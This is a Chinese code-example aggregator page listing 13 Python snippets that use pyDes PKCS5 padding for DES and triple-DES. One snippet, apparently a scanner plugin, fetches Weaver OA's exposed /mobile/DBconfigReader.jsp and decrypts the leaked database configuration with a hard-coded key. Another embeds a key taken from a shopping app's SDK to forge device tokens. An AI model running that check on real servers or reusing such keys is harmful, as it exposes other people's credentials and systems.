當前位置: 首頁>>代碼示例>>Python>>正文


Python pyDes.PAD_PKCS5屬性代碼示例

本文整理匯總了Python中pyDes.PAD_PKCS5屬性的典型用法代碼示例。如果您正苦於以下問題:Python pyDes.PAD_PKCS5屬性的具體用法?Python pyDes.PAD_PKCS5怎麽用?Python pyDes.PAD_PKCS5使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在pyDes的用法示例。


在下文中一共展示了pyDes.PAD_PKCS5屬性的13個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: main

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def main():
    if len(sys.argv) != 2:
        print 'Usage: %s <encrypted_message>'
        sys.exit(-1)

    original_data = sys.argv[1]

    session_key = '%d' % sum([int(c) for c in original_data[:10]])
    key = session_key + 'dksyel'

    encrypted_data = original_data[10:]

    des_cryptor = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
    plaintext = des_cryptor.decrypt(base64.b64decode(encrypted_data))

    print plaintext 
開發者ID:PaloAltoNetworks,項目名稱:WireLurkerDetector,代碼行數:18,代碼來源:decryptor.py

示例2: encrypt

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def encrypt(self, text):
        """
        DES 加密
        :param text: 原始字符串
        :return: 加密後字符串,bytes
        """
        if not isinstance(text, bytes):
            text = bytes(text, "utf-8")
        secret_key = self.key
        iv = self.iv
        k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
        en = k.encrypt(text, padmode=PAD_PKCS5)
        return en 
開發者ID:inlike,項目名稱:R-A-M-D-D3-S-M-H,代碼行數:15,代碼來源:RSA-AES-MD5-DES-DES3-MD5-SHA-HMAC.py

示例3: descrypt

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def descrypt(self, text):
        """
        DES 解密
        :param text: 加密後的字符串,bytes
        :return:  解密後的字符串
        """
        secret_key = self.key
        iv = self.iv
        k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
        de = k.decrypt(text, padmode=PAD_PKCS5)
        return de.decode() 
開發者ID:inlike,項目名稱:R-A-M-D-D3-S-M-H,代碼行數:13,代碼來源:RSA-AES-MD5-DES-DES3-MD5-SHA-HMAC.py

示例4: encrypt

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def encrypt(s):
    """
    DES 加密
    :param s: 原始字符串
    :return: 加密後字符串,16進製
    """
    secret_key = KEY[:24]
    iv = secret_key[-8:]
    k = triple_des(secret_key, mode=CBC, IV=iv, padmode=PAD_PKCS5)
    en = k.encrypt(s, padmode=PAD_PKCS5)
    return binascii.b2a_hex(en).decode(encoding='utf-8') 
開發者ID:gojuukaze,項目名稱:DeerU,代碼行數:13,代碼來源:secure.py

示例5: descrypt

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def descrypt(s):
    """
    解密
    :param s: 加密後的字符串,16進製
    :return:  解密後的字符串
    """
    secret_key = KEY[:24]
    iv = secret_key[-8:]
    k = triple_des(secret_key, mode=CBC, IV=iv, padmode=PAD_PKCS5)
    de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5)
    return de.decode(encoding='utf-8') 
開發者ID:gojuukaze,項目名稱:DeerU,代碼行數:13,代碼來源:secure.py

示例6: unobscure

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def unobscure(s=""):
    engine = triple_des(salt, ECB, pad=None, padmode=PAD_PKCS5)
    cipher = triple_des(salt)
    decrypted = cipher.decrypt(base64.b64decode(s), padmode=PAD_PKCS5)
    return decrypted.decode() 
開發者ID:GluuFederation,項目名稱:community-edition-setup,代碼行數:7,代碼來源:generate_properties.py

示例7: obscure

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def obscure(data, encode_salt):
    engine = triple_des(encode_salt, ECB, pad=None, padmode=PAD_PKCS5)
    data = data.encode('ascii')
    en_data = engine.encrypt(data)
    return base64.b64encode(en_data) 
開發者ID:GluuFederation,項目名稱:community-edition-setup,代碼行數:7,代碼來源:import3031.py

示例8: unobscure

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def unobscure(self,s=""):
        engine = pyDes.triple_des(self.key, pyDes.ECB, pad=None, padmode=pyDes.PAD_PKCS5)
        cipher = pyDes.triple_des(self.key)
        decrypted = cipher.decrypt(base64.b64decode(s), padmode=pyDes.PAD_PKCS5)
        return decrypted 
開發者ID:GluuFederation,項目名稱:community-edition-setup,代碼行數:7,代碼來源:import3031.py

示例9: des_encrypt_string

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def des_encrypt_string(DEVICE_ID):
    # We only need the first 8 characters of the encryption key
    # Found in co.vmob.sdk.util.Utils.java
    key = 'co.vmob.sdk.android.encrypt.key'.encode()[:8]

    # The encryption prefix
    encryption_prefix = 'co.vmob.android.sdk.'
    # Now the encryption part
    cipher = pyDes.des(key, pyDes.ECB, pad=None, padmode=pyDes.PAD_PKCS5)
    encrypted_message = cipher.encrypt(encryption_prefix + DEVICE_ID)

    # Return the encrypted message base64 encoded and "decoded" so it is a string, not bytes.
    return base64.b64encode(encrypted_message).replace(b"/", b"_").decode() + "_"

# Encryption key used for the TSSA 
開發者ID:freyta,項目名稱:7Eleven-Python,代碼行數:17,代碼來源:functions.py

示例10: medusa

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def medusa(Url,RandomAgent,proxies=None,**kwargs):
    proxies=ClassCongregation.Proxies().result(proxies)

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = "/mobile/DBconfigReader.jsp"
        payload_url = scheme + "://" + url +":"+ str(port) + payload

        key = '1z2x3c4v5b6n'[0:8]
        headers = {
            'User-Agent': RandomAgent,
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }

        s = requests.session()
        resp = s.get(payload_url,headers=headers, timeout=6,proxies=proxies, verify=False)
        con=resp.text
        dec=resp.content[10:]
        resph= resp.headers.get('Set-Cookie')
        code = resp.status_code
        if code == 200 and resp.headers['Content-Type']=='text/html; charset=UTF-8' and resph.find('ecology') != -1 :
            k = pyDes.des(key, pyDes.ECB, '\0' * 8, pad=None, padmode=pyDes.PAD_PKCS5)
            decs=k.decrypt(dec)
            Medusa = "{} 存在泛微OA_數據庫配置信息泄露驗證數據:\r\nUrl:{}\r\n返回數據:{}\r\n解密數據:{}".format(url,payload_url,con,decs)
            _t=VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, url,**kwargs).Write()  # 傳入url和掃描到的數據
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#寫入文件,url為目標文件名統一傳入,Medusa為結果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#調用寫入類 
開發者ID:Ascotbe,項目名稱:Medusa,代碼行數:40,代碼來源:WeaverDatabaseConfigurationInformationLeaked.py

示例11: encryptDES_ECB

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def encryptDES_ECB(data, key):
    data = data.encode()
    k = pyDes.des(key, pyDes.ECB, IV=None, pad=None, padmode=pyDes.PAD_PKCS5)
    d = k.encrypt(data)
    assert k.decrypt(d, padmode=pyDes.PAD_PKCS5) == data
    return d 
開發者ID:mrknow,項目名稱:filmkodi,代碼行數:8,代碼來源:decryptionUtils.py

示例12: des_encrypt

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def des_encrypt(cls, content):
        """
        DES 加密
        :param content: 原始字符串
        :return: 加密後字符串,16進製
        """
        k = des(cls.secret_key, CBC, cls.iv, pad=None, padmode=PAD_PKCS5)
        en = k.encrypt(content, padmode=PAD_PKCS5)
        return binascii.b2a_hex(en) 
開發者ID:gadfly0x,項目名稱:signature_algorithm,代碼行數:11,代碼來源:app.py

示例13: des_decrypt

# 需要導入模塊: import pyDes [as 別名]
# 或者: from pyDes import PAD_PKCS5 [as 別名]
def des_decrypt(cls, content):
        """
        DES 解密
        :param content: 加密後的字符串,16進製
        :return:  解密後的字符串
        """
        k = des(cls.secret_key, CBC, cls.iv, pad=None, padmode=PAD_PKCS5)
        de = k.decrypt(binascii.a2b_hex(content), padmode=PAD_PKCS5)
        return de 
開發者ID:gadfly0x,項目名稱:signature_algorithm,代碼行數:11,代碼來源:app.py


注:本文中的pyDes.PAD_PKCS5屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。